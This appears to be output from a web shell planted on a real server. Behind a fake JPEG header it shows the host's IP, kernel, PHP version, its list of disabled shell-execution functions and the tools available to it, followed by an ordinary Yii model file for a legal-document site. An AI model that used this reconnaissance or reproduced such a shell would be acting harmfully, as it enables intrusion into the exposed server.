���� JFIF ��
Server IP : 103.65.238.20 / Your IP : 10.0.0.10 Web Server : Apache System : Linux localhost.localdomain 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : www ( 1000) PHP Version : 7.3.32 Disable Function : passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /www/wwwroot/jdih/frontend/models/ |
Upload File : |
<?php namespace frontend\models; use Yii; /** * This is the model class for table "{{%master_kategori}}". * * @property int $id * @property string $slug * @property string $nama * @property int $id_status * @property string|null $created_at * @property string|null $updated_at * @property int|null $created_by * @property int|null $updated_by * @property int $active * * @property MasterStatus $status * @property ProdukHukum[] $produkHukums * @property RancanganPh[] $rancanganPhs */ class MasterKategori extends \yii\db\ActiveRecord { /** * {@inheritdoc} */ public static function tableName() { return '{{%master_kategori}}'; } /** * @return \yii\db\Connection the database connection used by this AR class. */ public static function getDb() { return Yii::$app->get('db_jdih'); } /** * {@inheritdoc} */ public function rules() { return [ [['slug', 'nama', 'id_status'], 'required'], [['id_status', 'created_by', 'updated_by', 'active'], 'integer'], [['created_at', 'updated_at'], 'safe'], [['slug', 'nama'], 'string', 'max' => 255], [['id_status'], 'exist', 'skipOnError' => true, 'targetClass' => MasterStatus::className(), 'targetAttribute' => ['id_status' => 'id']], ]; } /** * {@inheritdoc} */ public function attributeLabels() { return [ 'id' => 'ID', 'slug' => 'Slug', 'nama' => 'Nama', 'id_status' => 'Id Status', 'created_at' => 'Created At', 'updated_at' => 'Updated At', 'created_by' => 'Created By', 'updated_by' => 'Updated By', 'active' => 'Active', ]; } /** * Gets query for [[Status]]. * * @return \yii\db\ActiveQuery */ public function getStatus() { return $this->hasOne(MasterStatus::className(), ['id' => 'id_status']); } /** * Gets query for [[ProdukHukums]]. * * @return \yii\db\ActiveQuery */ public function getProdukHukums() { return $this->hasMany(ProdukHukum::className(), ['id_kategori' => 'id']); } /** * Gets query for [[RancanganPhs]]. * * @return \yii\db\ActiveQuery */ public function getRancanganPhs() { return $this->hasMany(RancanganPh::className(), ['id_kategori' => 'id']); } }